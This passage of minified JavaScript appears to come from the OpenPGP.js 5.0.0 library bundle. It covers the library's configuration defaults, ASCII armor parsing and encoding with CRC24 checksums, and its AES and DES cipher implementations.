nication:4,encryptStorage:8,splitPrivateKey:16,authentication:32,sharedPrivateKey:128},armor:{multipartSection:0,multipartLast:1,signed:2,message:3,publicKey:4,privateKey:5,signature:6},reasonForRevocation:{noReason:0,keySuperseded:1,keyCompromised:2,keyRetired:3,userIDInvalid:32},features:{modificationDetection:1,aead:2,v5Keys:4},write:function(e,t){if("number"==typeof t&&(t=this.read(e,t)),void 0!==e[t])return e[t];throw Error("Invalid enum value.")},read:function(e,t){if(e[te]||(e[te]=[],Object.entries(e).forEach((([t,r])=>{e[te][r]=t}))),void 0!==e[te][t])return e[te][t];throw Error("Invalid enum value.")}},ie={preferredHashAlgorithm:re.hash.sha256,preferredSymmetricAlgorithm:re.symmetric.aes256,preferredCompressionAlgorithm:re.compression.uncompressed,deflateLevel:6,aeadProtect:!1,preferredAEADAlgorithm:re.aead.eax,aeadChunkSizeByte:12,v5Keys:!1,s2kIterationCountByte:224,allowUnauthenticatedMessages:!1,allowUnauthenticatedStream:!1,checksumRequired:!1,minRSABits:2047,passwordCollisionCheck:!1,revocationsExpire:!1,allowInsecureDecryptionWithSigningKeys:!1,minBytesForWebCrypto:1e3,ignoreUnsupportedPackets:!0,ignoreMalformedPackets:!1,showVersion:!1,showComment:!1,versionString:"OpenPGP.js 5.0.0",commentString:"https://openpgpjs.org",maxUserIDLength:5120,knownNotations:["preferred-email-encoding@pgp.com","pka-address@gnupg.org"],useIndutnyElliptic:!0,rejectHashAlgorithms:new Set([re.hash.md5,re.hash.ripemd]),rejectMessageHashAlgorithms:new Set([re.hash.md5,re.hash.ripemd,re.hash.sha1]),rejectPublicKeyAlgorithms:new Set([re.publicKey.elgamal,re.publicKey.dsa]),rejectCurves:new Set([re.curve.brainpoolP256r1,re.curve.brainpoolP384r1,re.curve.brainpoolP512r1,re.curve.secp256k1])};function ne(e){const t=e.match(/^-----BEGIN PGP (MESSAGE, PART \d+\/\d+|MESSAGE, PART \d+|SIGNED MESSAGE|MESSAGE|PUBLIC KEY BLOCK|PRIVATE KEY BLOCK|SIGNATURE)-----$/m);if(!t)throw Error("Unknown ASCII armor type");return/MESSAGE, PART \d+\/\d+/.test(t[1])?re.armor.multipartSection:/MESSAGE, PART \d+/.test(t[1])?re.armor.multipartLast:/SIGNED MESSAGE/.test(t[1])?re.armor.signed:/MESSAGE/.test(t[1])?re.armor.message:/PUBLIC KEY BLOCK/.test(t[1])?re.armor.publicKey:/PRIVATE KEY BLOCK/.test(t[1])?re.armor.privateKey:/SIGNATURE/.test(t[1])?re.armor.signature:void 0}function ae(e,t){let r="";return t.showVersion&&(r+="Version: "+t.versionString+"\n"),t.showComment&&(r+="Comment: "+t.commentString+"\n"),e&&(r+="Comment: "+e+"\n"),r+="\n",r}function se(e){return X(function(e){let t=13501623;return B(e,(e=>{const r=ce?Math.floor(e.length/4):0,i=new Uint32Array(e.buffer,e.byteOffset,r);for(let e=0;e<r;e++)t^=i[e],t=oe[0][t>>24&255]^oe[1][t>>16&255]^oe[2][t>>8&255]^oe[3][t>>0&255];for(let i=4*r;i<e.length;i++)t=t>>8^oe[0][255&t^e[i]]}),(()=>new Uint8Array([t,t>>8,t>>16])))}(e))}const oe=[Array(255),Array(255),Array(255),Array(255)];for(let e=0;e<=255;e++){let t=e<<16;for(let e=0;e<8;e++)t=t<<1^(0!=(8388608&t)?8801531:0);oe[0][e]=(16711680&t)>>16|65280&t|(255&t)<<16}for(let e=0;e<=255;e++)oe[1][e]=oe[0][e]>>8^oe[0][255&oe[0][e]];for(let e=0;e<=255;e++)oe[2][e]=oe[1][e]>>8^oe[0][255&oe[1][e]];for(let e=0;e<=255;e++)oe[3][e]=oe[2][e]>>8^oe[0][255&oe[2][e]];const ce=function(){const e=new ArrayBuffer(2);return new DataView(e).setInt16(0,255,!0),255===new Int16Array(e)[0]}();function ue(e){for(let t=0;t<e.length;t++){if(!/^([^\s:]|[^\s:][^:]*[^\s:]): .+$/.test(e[t]))throw Error("Improperly formatted armor header: "+e[t]);/^(Version|Comment|MessageID|Hash|Charset): .+$/.test(e[t])||V.printDebugError(Error("Unknown header: "+e[t]))}}function he(e){let t=e,r="";const i=e.lastIndexOf("=");return i>=0&&i!==e.length-1&&(t=e.slice(0,i),r=e.slice(i+1).substr(0,4)),{body:t,checksum:r}}function de(e,t=ie){return new Promise((async(r,i)=>{try{const n=/^-----[^-]+-----$/m,a=/^[ \f\r\t\u00a0\u2000-\u200a\u202f\u205f\u3000]*$/;let s;const o=[];let c,u,h,d=o,f=[],l=Q(T(e,(async(e,t)=>{const p=K(e);try{for(;;){let e=await p.readLine();if(void 0===e)throw Error("Misformed armored text");if(e=V.removeTrailingSpaces(e.replace(/[\r\n]/g,"")),s)if(c)u||2!==s||(n.test(e)?(f=f.join("\r\n"),u=!0,ue(d),d=[],c=!1):f.push(e.replace(/^- /,"")));else if(n.test(e)&&i(Error("Mandatory blank line missing between armor headers and armor data")),a.test(e)){if(ue(d),c=!0,u||2!==s){r({text:f,data:l,headers:o,type:s});break}}else d.push(e);else n.test(e)&&(s=ne(e))}}catch(e){return void i(e)}const y=D(t);try{for(;;){await y.ready;const{done:e,value:t}=await p.read();if(e)throw Error("Misformed armored text");const r=t+"";if(-1!==r.indexOf("=")||-1!==r.indexOf("-")){let e=await p.readToEnd();e.length||(e=""),e=r+e,e=V.removeTrailingSpaces(e.replace(/\r/g,""));const t=e.split(n);if(1===t.length)throw Error("Misformed armored text");const i=he(t[0].slice(0,-1));h=i.checksum,await y.write(i.body);break}await y.write(r)}await y.ready,await y.close()}catch(e){await y.abort(e)}})));l=T(l,(async(e,r)=>{const i=L(se(O(e)));i.catch((()=>{})),await R(e,r,{preventClose:!0});const n=D(r);try{const e=(await i).replace("\n","");if(h!==e&&(h||t.checksumRequired))throw Error("Ascii armor integrity check on message failed: '"+h+"' should be '"+e+"'");await n.ready,await n.close()}catch(e){await n.abort(e)}}))}catch(e){i(e)}})).then((async e=>(s(e.data)&&(e.data=await L(e.data)),e)))}function fe(e,t,r,i,n,a=ie){let s,o;e===re.armor.signed&&(s=t.text,o=t.hash,t=t.data);const c=O(t),u=[];switch(e){case re.armor.multipartSection:u.push("-----BEGIN PGP MESSAGE, PART "+r+"/"+i+"-----\n"),u.push(ae(n,a)),u.push(X(t)),u.push("=",se(c)),u.push("-----END PGP MESSAGE, PART "+r+"/"+i+"-----\n");break;case re.armor.multipartLast:u.push("-----BEGIN PGP MESSAGE, PART "+r+"-----\n"),u.push(ae(n,a)),u.push(X(t)),u.push("=",se(c)),u.push("-----END PGP MESSAGE, PART "+r+"-----\n");break;case re.armor.signed:u.push("\n-----BEGIN PGP SIGNED MESSAGE-----\n"),u.push("Hash: "+o+"\n\n"),u.push(s.replace(/^-/gm,"- -")),u.push("\n-----BEGIN PGP SIGNATURE-----\n"),u.push(ae(n,a)),u.push(X(t)),u.push("=",se(c)),u.push("-----END PGP SIGNATURE-----\n");break;case re.armor.message:u.push("-----BEGIN PGP MESSAGE-----\n"),u.push(ae(n,a)),u.push(X(t)),u.push("=",se(c)),u.push("-----END PGP MESSAGE-----\n");break;case re.armor.publicKey:u.push("-----BEGIN PGP PUBLIC KEY BLOCK-----\n"),u.push(ae(n,a)),u.push(X(t)),u.push("=",se(c)),u.push("-----END PGP PUBLIC KEY BLOCK-----\n");break;case re.armor.privateKey:u.push("-----BEGIN PGP PRIVATE KEY BLOCK-----\n"),u.push(ae(n,a)),u.push(X(t)),u.push("=",se(c)),u.push("-----END PGP PRIVATE KEY BLOCK-----\n");break;case re.armor.signature:u.push("-----BEGIN PGP SIGNATURE-----\n"),u.push(ae(n,a)),u.push(X(t)),u.push("=",se(c)),u.push("-----END PGP SIGNATURE-----\n")}return V.concat(u)}class le{constructor(){this.bytes=""}read(e){this.bytes=V.uint8ArrayToString(e.subarray(0,8))}write(){return V.stringToUint8Array(this.bytes)}toHex(){return V.uint8ArrayToHex(V.stringToUint8Array(this.bytes))}equals(e,t=!1){return t&&(e.isWildcard()||this.isWildcard())||this.bytes===e.bytes}isNull(){return""===this.bytes}isWildcard(){return/^0+$/.test(this.toHex())}static mapToHex(e){return e.toHex()}static fromID(e){const t=new le;return t.read(V.hexToUint8Array(e)),t}static wildcard(){const e=new le;return e.read(new Uint8Array(8)),e}}var pe=function(){var e,t,r=!1;function i(r,i){var n=e[(t[r]+t[i])%255];return 0!==r&&0!==i||(n=0),n}var n,a,s,o,c=!1;function u(){function u(r){var i,n,a;for(n=a=function(r){var i=e[255-t[r]];return 0===r&&(i=0),i}(r),i=0;i<4;i++)a^=n=255&(n<<1|n>>>7);return a^=99}r||function(){e=[],t=[];var i,n,a=1;for(i=0;i<255;i++)e[i]=a,n=128&a,a<<=1,a&=255,128===n&&(a^=27),a^=e[i],t[e[i]]=i;e[255]=e[0],t[0]=0,r=!0}(),n=[],a=[],s=[[],[],[],[]],o=[[],[],[],[]];for(var h=0;h<256;h++){var d=u(h);n[h]=d,a[d]=h,s[0][h]=i(2,d)<<24|d<<16|d<<8|i(3,d),o[0][d]=i(14,h)<<24|i(9,h)<<16|i(13,h)<<8|i(11,h);for(var f=1;f<4;f++)s[f][h]=s[f-1][h]>>>8|s[f-1][h]<<24,o[f][d]=o[f-1][d]>>>8|o[f-1][d]<<24}c=!0}var h=function(e,t){c||u();var r=new Uint32Array(t);r.set(n,512),r.set(a,768);for(var i=0;i<4;i++)r.set(s[i],4096+1024*i>>2),r.set(o[i],8192+1024*i>>2);var h=function(e,t,r){"use asm";var i=0,n=0,a=0,s=0,o=0,c=0,u=0,h=0,d=0,f=0,l=0,p=0,y=0,b=0,m=0,g=0,w=0,v=0,_=0,k=0,A=0;var S=new e.Uint32Array(r),E=new e.Uint8Array(r);function P(e,t,r,o,c,u,h,d){e=e|0;t=t|0;r=r|0;o=o|0;c=c|0;u=u|0;h=h|0;d=d|0;var f=0,l=0,p=0,y=0,b=0,m=0,g=0,w=0;f=r|0x400,l=r|0x800,p=r|0xc00;c=c^S[(e|0)>>2],u=u^S[(e|4)>>2],h=h^S[(e|8)>>2],d=d^S[(e|12)>>2];for(w=16;(w|0)<=o<<4;w=w+16|0){y=S[(r|c>>22&1020)>>2]^S[(f|u>>14&1020)>>2]^S[(l|h>>6&1020)>>2]^S[(p|d<<2&1020)>>2]^S[(e|w|0)>>2],b=S[(r|u>>22&1020)>>2]^S[(f|h>>14&1020)>>2]^S[(l|d>>6&1020)>>2]^S[(p|c<<2&1020)>>2]^S[(e|w|4)>>2],m=S[(r|h>>22&1020)>>2]^S[(f|d>>14&1020)>>2]^S[(l|c>>6&1020)>>2]^S[(p|u<<2&1020)>>2]^S[(e|w|8)>>2],g=S[(r|d>>22&1020)>>2]^S[(f|c>>14&1020)>>2]^S[(l|u>>6&1020)>>2]^S[(p|h<<2&1020)>>2]^S[(e|w|12)>>2];c=y,u=b,h=m,d=g}i=S[(t|c>>22&1020)>>2]<<24^S[(t|u>>14&1020)>>2]<<16^S[(t|h>>6&1020)>>2]<<8^S[(t|d<<2&1020)>>2]^S[(e|w|0)>>2],n=S[(t|u>>22&1020)>>2]<<24^S[(t|h>>14&1020)>>2]<<16^S[(t|d>>6&1020)>>2]<<8^S[(t|c<<2&1020)>>2]^S[(e|w|4)>>2],a=S[(t|h>>22&1020)>>2]<<24^S[(t|d>>14&1020)>>2]<<16^S[(t|c>>6&1020)>>2]<<8^S[(t|u<<2&1020)>>2]^S[(e|w|8)>>2],s=S[(t|d>>22&1020)>>2]<<24^S[(t|c>>14&1020)>>2]<<16^S[(t|u>>6&1020)>>2]<<8^S[(t|h<<2&1020)>>2]^S[(e|w|12)>>2]}function x(e,t,r,i){e=e|0;t=t|0;r=r|0;i=i|0;P(0x0000,0x0800,0x1000,A,e,t,r,i)}function M(e,t,r,i){e=e|0;t=t|0;r=r|0;i=i|0;var a=0;P(0x0400,0x0c00,0x2000,A,e,i,r,t);a=n,n=s,s=a}function C(e,t,r,d){e=e|0;t=t|0;r=r|0;d=d|0;P(0x0000,0x0800,0x1000,A,o^e,c^t,u^r,h^d);o=i,c=n,u=a,h=s}function K(e,t,r,d){e=e|0;t=t|0;r=r|0;d=d|0;var f=0;P(0x0400,0x0c00,0x2000,A,e,d,r,t);f=n,n=s,s=f;i=i^o,n=n^c,a=a^u,s=s^h;o=e,c=t,u=r,h=d}function D(e,t,r,d){e=e|0;t=t|0;r=r|0;d=d|0;P(0x0000,0x0800,0x1000,A,o,c,u,h);o=i=i^e,c=n=n^t,u=a=a^r,h=s=s^d}function R(e,t,r,d){e=e|0;t=t|0;r=r|0;d=d|0;P(0x0000,0x0800,0x1000,A,o,c,u,h);i=i^e,n=n^t,a=a^r,s=s^d;o=e,c=t,u=r,h=d}function I(e,t,r,d){e=e|0;t=t|0;r=r|0;d=d|0;P(0x0000,0x0800,0x1000,A,o,c,u,h);o=i,c=n,u=a,h=s;i=i^e,n=n^t,a=a^r,s=s^d}function U(e,t,r,o){e=e|0;t=t|0;r=r|0;o=o|0;P(0x0000,0x0800,0x1000,A,d,f,l,p);p=~g&p|g&p+1;l=~m&l|m&l+((p|0)==0);f=~b&f|b&f+((l|0)==0);d=~y&d|y&d+((f|0)==0);i=i^e;n=n^t;a=a^r;s=s^o}function B(e,t,r,i){e=e|0;t=t|0;r=r|0;i=i|0;var n=0,a=0,s=0,d=0,f=0,l=0,p=0,y=0,b=0,m=0;e=e^o,t=t^c,r=r^u,i=i^h;n=w|0,a=v|0,s=_|0,d=k|0;for(;(b|0)<128;b=b+1|0){if(n>>>31){f=f^e,l=l^t,p=p^r,y=y^i}n=n<<1|a>>>31,a=a<<1|s>>>31,s=s<<1|d>>>31,d=d<<1;m=i&1;i=i>>>1|r<<31,r=r>>>1|t<<31,t=t>>>1|e<<31,e=e>>>1;if(m)e=e^0xe1000000}o=f,c=l,u=p,h=y}function T(e){e=e|0;A=e}function z(e,t,r,o){e=e|0;t=t|0;r=r|0;o=o|0;i=e,n=t,a=r,s=o}function q(e,t,r,i){e=e|0;t=t|0;r=r|0;i=i|0;o=e,c=t,u=r,h=i}function O(e,t,r,i){e=e|0;t=t|0;r=r|0;i=i|0;d=e,f=t,l=r,p=i}function F(e,t,r,i){e=e|0;t=t|0;r=r|0;i=i|0;y=e,b=t,m=r,g=i}function N(e,t,r,i){e=e|0;t=t|0;r=r|0;i=i|0;p=~g&p|g&i,l=~m&l|m&r,f=~b&f|b&t,d=~y&d|y&e}function L(e){e=e|0;if(e&15)return-1;E[e|0]=i>>>24,E[e|1]=i>>>16&255,E[e|2]=i>>>8&255,E[e|3]=i&255,E[e|4]=n>>>24,E[e|5]=n>>>16&255,E[e|6]=n>>>8&255,E[e|7]=n&255,E[e|8]=a>>>24,E[e|9]=a>>>16&255,E[e|10]=a>>>8&255,E[e|11]=a&255,E[e|12]=s>>>24,E[e|13]=s>>>16&255,E[e|14]=s>>>8&255,E[e|15]=s&255;return 16}function j(e){e=e|0;if(e&15)return-1;E[e|0]=o>>>24,E[e|1]=o>>>16&255,E[e|2]=o>>>8&255,E[e|3]=o&255,E[e|4]=c>>>24,E[e|5]=c>>>16&255,E[e|6]=c>>>8&255,E[e|7]=c&255,E[e|8]=u>>>24,E[e|9]=u>>>16&255,E[e|10]=u>>>8&255,E[e|11]=u&255,E[e|12]=h>>>24,E[e|13]=h>>>16&255,E[e|14]=h>>>8&255,E[e|15]=h&255;return 16}function W(){x(0,0,0,0);w=i,v=n,_=a,k=s}function H(e,t,r){e=e|0;t=t|0;r=r|0;var o=0;if(t&15)return-1;while((r|0)>=16){V[e&7](E[t|0]<<24|E[t|1]<<16|E[t|2]<<8|E[t|3],E[t|4]<<24|E[t|5]<<16|E[t|6]<<8|E[t|7],E[t|8]<<24|E[t|9]<<16|E[t|10]<<8|E[t|11],E[t|12]<<24|E[t|13]<<16|E[t|14]<<8|E[t|15]);E[t|0]=i>>>24,E[t|1]=i>>>16&255,E[t|2]=i>>>8&255,E[t|3]=i&255,E[t|4]=n>>>24,E[t|5]=n>>>16&255,E[t|6]=n>>>8&255,E[t|7]=n&255,E[t|8]=a>>>24,E[t|9]=a>>>16&255,E[t|10]=a>>>8&255,E[t|11]=a&255,E[t|12]=s>>>24,E[t|13]=s>>>16&255,E[t|14]=s>>>8&255,E[t|15]=s&255;o=o+16|0,t=t+16|0,r=r-16|0}return o|0}function G(e,t,r){e=e|0;t=t|0;r=r|0;var i=0;if(t&15)return-1;while((r|0)>=16){$[e&1](E[t|0]<<24|E[t|1]<<16|E[t|2]<<8|E[t|3],E[t|4]<<24|E[t|5]<<16|E[t|6]<<8|E[t|7],E[t|8]<<24|E[t|9]<<16|E[t|10]<<8|E[t|11],E[t|12]<<24|E[t|13]<<16|E[t|14]<<8|E[t|15]);i=i+16|0,t=t+16|0,r=r-16|0}return i|0}var V=[x,M,C,K,D,R,I,U];var $=[C,B];return{set_rounds:T,set_state:z,set_iv:q,set_nonce:O,set_mask:F,set_counter:N,get_state:L,get_iv:j,gcm_init:W,cipher:H,mac:G}}({Uint8Array,Uint32Array},e,t);return h.set_key=function(e,t,i,a,s,c,u,d,f){var l=r.subarray(0,60),p=r.subarray(256,316);l.set([t,i,a,s,c,u,d,f]);for(var y=e,b=1;y<4*e+28;y++){var m=l[y-1];(y%e==0||8===e&&y%e==4)&&(m=n[m>>>24]<<24^n[m>>>16&255]<<16^n[m>>>8&255]<<8^n[255&m]),y%e==0&&(m=m<<8^m>>>24^b<<24,b=b<<1^(128&b?27:0)),l[y]=l[y-e]^m}for(var g=0;g<y;g+=4)for(var w=0;w<4;w++){m=l[y-(4+g)+(4-w)%4];p[g+w]=g<4||g>=y-4?m:o[0][n[m>>>24]]^o[1][n[m>>>16&255]]^o[2][n[m>>>8&255]]^o[3][n[255&m]]}h.set_rounds(e+5)},h};return h.ENC={ECB:0,CBC:2,CFB:4,OFB:6,CTR:7},h.DEC={ECB:1,CBC:3,CFB:5,OFB:6,CTR:7},h.MAC={CBC:0,GCM:1},h.HEAP_DATA=16384,h}();function ye(e){return e instanceof Uint8Array}function be(e,t){const r=e?e.byteLength:t||65536;if(4095&r||r<=0)throw Error("heap size must be a positive integer and a multiple of 4096");return e=e||new Uint8Array(new ArrayBuffer(r))}function me(e,t,r,i,n){const a=e.length-t,s=a<n?a:n;return e.set(r.subarray(i,i+s),t),s}function ge(...e){const t=e.reduce(((e,t)=>e+t.length),0),r=new Uint8Array(t);let i=0;for(let t=0;t<e.length;t++)r.set(e[t],i),i+=e[t].length;return r}class we extends Error{constructor(...e){super(...e)}}class ve extends Error{constructor(...e){super(...e)}}class _e extends Error{constructor(...e){super(...e)}}const ke=[],Ae=[];class Se{constructor(e,t,r=!0,i,n,a){this.pos=0,this.len=0,this.mode=i,this.pos=0,this.len=0,this.key=e,this.iv=t,this.padding=r,this.acquire_asm(n,a)}acquire_asm(e,t){return void 0!==this.heap&&void 0!==this.asm||(this.heap=e||ke.pop()||be().subarray(pe.HEAP_DATA),this.asm=t||Ae.pop()||new pe(null,this.heap.buffer),this.reset(this.key,this.iv)),{heap:this.heap,asm:this.asm}}release_asm(){void 0!==this.heap&&void 0!==this.asm&&(ke.push(this.heap),Ae.push(this.asm)),this.heap=void 0,this.asm=void 0}reset(e,t){const{asm:r}=this.acquire_asm(),i=e.length;if(16!==i&&24!==i&&32!==i)throw new ve("illegal key size");const n=new DataView(e.buffer,e.byteOffset,e.byteLength);if(r.set_key(i>>2,n.getUint32(0),n.getUint32(4),n.getUint32(8),n.getUint32(12),i>16?n.getUint32(16):0,i>16?n.getUint32(20):0,i>24?n.getUint32(24):0,i>24?n.getUint32(28):0),void 0!==t){if(16!==t.length)throw new ve("illegal iv size");let e=new DataView(t.buffer,t.byteOffset,t.byteLength);r.set_iv(e.getUint32(0),e.getUint32(4),e.getUint32(8),e.getUint32(12))}else r.set_iv(0,0,0,0)}AES_Encrypt_process(e){if(!ye(e))throw new TypeError("data isn't of expected type");let{heap:t,asm:r}=this.acquire_asm(),i=pe.ENC[this.mode],n=pe.HEAP_DATA,a=this.pos,s=this.len,o=0,c=e.length||0,u=0,h=0,d=new Uint8Array(s+c&-16);for(;c>0;)h=me(t,a+s,e,o,c),s+=h,o+=h,c-=h,h=r.cipher(i,n+a,s),h&&d.set(t.subarray(a,a+h),u),u+=h,h<s?(a+=h,s-=h):(a=0,s=0);return this.pos=a,this.len=s,d}AES_Encrypt_finish(){let{heap:e,asm:t}=this.acquire_asm(),r=pe.ENC[this.mode],i=pe.HEAP_DATA,n=this.pos,a=this.len,s=16-a%16,o=a;if(this.hasOwnProperty("padding")){if(this.padding){for(let t=0;t<s;++t)e[n+a+t]=s;a+=s,o=a}else if(a%16)throw new ve("data length must be a multiple of the block size")}else a+=s;const c=new Uint8Array(o);return a&&t.cipher(r,i+n,a),o&&c.set(e.subarray(n,n+o)),this.pos=0,this.len=0,this.release_asm(),c}AES_Decrypt_process(e){if(!ye(e))throw new TypeError("data isn't of expected type");let{heap:t,asm:r}=this.acquire_asm(),i=pe.DEC[this.mode],n=pe.HEAP_DATA,a=this.pos,s=this.len,o=0,c=e.length||0,u=0,h=s+c&-16,d=0,f=0;this.padding&&(d=s+c-h||16,h-=d);const l=new Uint8Array(h);for(;c>0;)f=me(t,a+s,e,o,c),s+=f,o+=f,c-=f,f=r.cipher(i,n+a,s-(c?0:d)),f&&l.set(t.subarray(a,a+f),u),u+=f,f<s?(a+=f,s-=f):(a=0,s=0);return this.pos=a,this.len=s,l}AES_Decrypt_finish(){let{heap:e,asm:t}=this.acquire_asm(),r=pe.DEC[this.mode],i=pe.HEAP_DATA,n=this.pos,a=this.len,s=a;if(a>0){if(a%16){if(this.hasOwnProperty("padding"))throw new ve("data length must be a multiple of the block size");a+=16-a%16}if(t.cipher(r,i+n,a),this.hasOwnProperty("padding")&&this.padding){let t=e[n+s-1];if(t<1||t>16||t>s)throw new _e("bad padding");let r=0;for(let i=t;i>1;i--)r|=t^e[n+s-i];if(r)throw new _e("bad padding");s-=t}}const o=new Uint8Array(s);return s>0&&o.set(e.subarray(n,n+s)),this.pos=0,this.len=0,this.release_asm(),o}}class Ee{static encrypt(e,t,r=!1){return new Ee(t,r).encrypt(e)}static decrypt(e,t,r=!1){return new Ee(t,r).decrypt(e)}constructor(e,t=!1,r){this.aes=r||new Se(e,void 0,t,"ECB")}encrypt(e){return ge(this.aes.AES_Encrypt_process(e),this.aes.AES_Encrypt_finish())}decrypt(e){return ge(this.aes.AES_Decrypt_process(e),this.aes.AES_Decrypt_finish())}}function Pe(e){const t=function(e){const t=new Ee(e);this.encrypt=function(e){return t.encrypt(e)},this.decrypt=function(e){return t.decrypt(e)}};return t.blockSize=t.prototype.blockSize=16,t.keySize=t.prototype.keySize=e/8,t}function xe(e,t,r,i,n,a){const s=[16843776,0,65536,16843780,16842756,66564,4,65536,1024,16843776,16843780,1024,16778244,16842756,16777216,4,1028,16778240,16778240,66560,66560,16842752,16842752,16778244,65540,16777220,16777220,65540,0,1028,66564,16777216,65536,16843780,4,16842752,16843776,16777216,16777216,1024,16842756,65536,66560,16777220,1024,4,16778244,66564,16843780,65540,16842752,16778244,16777220,1028,66564,16843776,1028,16778240,16778240,0,65540,66560,0,16842756],o=[-2146402272,-2147450880,32768,1081376,1048576,32,-2146435040,-2147450848,-2147483616,-2146402272,-2146402304,-2147483648,-2147450880,1048576,32,-2146435040,1081344,1048608,-2147450848,0,-2147483648,32768,1081376,-2146435072,1048608,-2147483616,0,1081344,32800,-2146402304,-2146435072,32800,0,1081376,-2146435040,1048576,-2147450848,-2146435072,-2146402304,32768,-2146435072,-2147450880,32,-2146402272,1081376,32,32768,-2147483648,32800,-2146402304,1048576,-2147483616,1048608,-2147450848,-2147483616,1048608,1081344,0,-2147450880,32800,-2147483648,-2146435040,-2146402272,1081344],c=[520,134349312,0,134348808,134218240,0,131592,134218240,131080,134217736,134217736,131072,134349320,131080,134348800,520,134217728,8,134349312,512,131584,134348800,134348808,131592,134218248,131584,131072,134218248,8,134349320,512,134217728,134349312,134217728,131080,520,131072,134349312,134218240,0,512,131080,134349320,134218240,134217736,512,0,134348808,134218248,131072,134217728,134349320,8,131592,131584,134217736,134348800,134218248,520,134348800,131592,8,134348808,131584],u=[8396801,8321,8321,128,8396928,8388737,8388609,8193,0,8396800,8396800,8396929,129,0,8388736,8388609,1,8192,8388608,8396801,128,8388608,8193,8320,8388737,1,8320,8388736,8192,8396928,8396929,129,8388736,8388609,8396800,8396929,129,0,0,8396800,8320,8388736,8388737,1,8396801,8321,8321,128,8396929,129,1,8192,8388609,8193,8396928,8388737,8193,8320,8388608,8396801,128,8388608,8192,8396928],h=[256,34078976,34078720,1107296512,524288,256,1073741824,34078720,1074266368,524288,33554688,1074266368,1107296512,1107820544,524544,1073741824,33554432,1074266112,1074266112,0,1073742080,1107820800,1107820800,33554688,1107820544,1073742080,0,1107296256,34078976,33554432,1107296256,524544,524288,1107296512,256,33554432,1073741824,34078720,1107296512,1074266368,33554688,1073741824,1107820544,34078976,1074266368,256,33554432,1107820544,1107820800,524544,1107296256,1107820800,34078720,0,1074266112,1107296256,524544,33554688,1073742080,524288,0,1074266112,34078976,1073742080],d=[536870928,541065216,16384,541081616,541065216,16,541081616,4194304,536887296,4210704,4194304,536870928,4194320,536887296,536870912,16400,0,4194320,536887312,16384,4210688,536887312,16,541065232,541065232,0,4210704,541081600,16400,4210688,541081600,536870912,536887296,16,541065232,4210688,541081616,4194304,16400,536870928,4194304,536887296,536870912,16400,536870928,541081616,4210688,541065216,4210704,541081600,0,541065232,16,16384,541065216,4210704,16384,4194320,536887312,0,541081600,536870912,4194320,536887312],f=[2097152,69206018,67110914,0,2048,67110914,2099202,69208064,69208066,2097152,0,67108866,2,67108864,69206018,2050,67110912,2099202,2097154,67110912,67108866,69206016,69208064,2097154,69206016,2048,2050,69208066,2099200,2,67108864,2099200,67108864,2099200,2097152,67110914,67110914,69206018,69206018,2,2097154,67108864,67110912,2097152,69208064,2050,2099202,69208064,2050,67108866,69208066,69206016,2099200,0,2,69208066,0,2099202,69206016,2048,67108866,67110912,2048,2097154],l=[268439616,4096,262144,268701760,268435456,268439616,64,268435456,262208,268697600,268701760,266240,268701696,266304,4096,64,268697600,268435520,268439552,4160,266240,262208,268697664,268701696,4160,0,0,268697664,268435520,268439552,266304,262144,266304,262144,268701696,4096,64,268697664,4096,266304,268439552,64,268435520,268697600,268697664,268435456,262144,268439616,0,268701760,262208,268435520,268697600,268439552,268439616,0,268701760,266240,266240,4160,4160,262208,268435456,268701696];let p,y,b,m,g,w,v,_,k,A,S,E,P,x,M=0,C=t.length;const K=32===e.length?3:9;_=3===K?r?[0,32,2]:[30,-2,-2]:r?[0,32,2,62,30,-2,64,96,2]:[94,62,-2,32,64,2,30,-2,-2],r&&(C=(t=function(e,t){const r=8-e.length%8;let i;if(2===t&&r<8)i=32;else if(1===t)i=r;else{if(t||!(r<8)){if(8===r)return e;throw Error("des: invalid padding")}i=0}const n=new Uint8Array(e.length+r);for(let t=0;t<e.length;t++)n[t]=e[t];for(let t=0;t<r;t++)n[e.length+t]=i;return n}(t,a)).length);let D=new Uint8Array(C),R=0;for(1===i&&(k=n[M++]<<24|n[M++]<<16|n[M++]<<8|n[M++],S=n[M++]<<24|n[M++]<<16|n[M++]<<8|n[M++],M=0);M<C;){for(w=t[M++]<<24|t[M++]<<16|t[M++]<<8|t[M++],v=t[M++]<<24|t[M++]<<16|t[M++]<<8|t[M++],1===i&&(r?(w^=k,v^=S):(A=k,E=S,k=w,S=v)),b=252645135&(w>>>4^v),v^=b,w^=b<<4,b=65535&(w>>>16^v),v^=b,w^=b<<16,b=858993459&(v>>>2^w),w^=b,v^=b<<2,b=16711935&(v>>>8^w),w^=b,v^=b<<8,b=1431655765&(w>>>1^v),v^=b,w^=b<<1,w=w<<1|w>>>31,v=v<<1|v>>>31,y=0;y<K;y+=3){for(P=_[y+1],x=_[y+2],p=_[y];p!==P;p+=x)m=v^e[p],g=(v>>>4|v<<28)^e[p+1],b=w,w=v,v=b^(o[m>>>24&63]|u[m>>>16&63]|d[m>>>8&63]|l[63&m]|s[g>>>24&63]|c[g>>>16&63]|h[g>>>8&63]|f[63&g]);b=w,w=v,v=b}w=w>>>1|w<<31,v=v>>>1|v<<31,b=1431655765&(w>>>1^v),v^=b,w^=b<<1,b=16711935&(v>>>8^w),w^=b,v^=b<<8,b=858993459&(v>>>2^w),w^=b,v^=b<<2,b=65535&(w>>>16^v),v^=b,w^=b<<16,b=252645135&(w>>>4^v),v^=b,w^=b<<4,1===i&&(r?(k=w,S=v):(w^=A,v^=E)),D[R++]=w>>>24,D[R++]=w>>>16&255,D[R++]=w>>>8&255,D[R++]=255&w,D[R++]=v>>>24,D[R++]=v>>>16&255,D[R++]=v>>>8&255,D[R++]=255&v}return r||(D=function(e,t){let r,i=null;if(2===t)r=32;else if(1===t)i=e[e.length-1];else{if(t)throw Error("des: invalid padding");r=0}if(!i){for(i=1;e[e.length-i]===r;)i++;i--}return e.subarray(0,e.length-i)}(D,a)),D}function Me(e){const t=[0,4,536870912,536870916,65536,65540,536936448,536936452,512,516,536871424,536871428,66048,66052,536936960,536936964],r=[0,1,1048576,1048577,67108864,67108865,68157440,68157441,256,257,1048832,1048833,67109120,67109121,68157696,68157697],i=[0,8,2048,2056,16777216,16777224,16779264,16779272,0,8,2048,2056,16777216,16777224,16779264,16779272],n=[0,2097152,134217728,136314880,8192,2105344,134225920,136323072,131072,2228224,134348800,136445952,139264,2236416,134356992,136454144],a=[0,262144,16,262160,0,262144,16,262160,4096,266240,4112,266256,4096,266240,4112,266256],s=[0,1024,32,1056,0,1024,32,1056,33554432,33555456,33554464,33555488,33554432,33555456,33554464,33555488],o=[0,268435456,524288,268959744,2,268435458,524290,268959746,0,268435456,52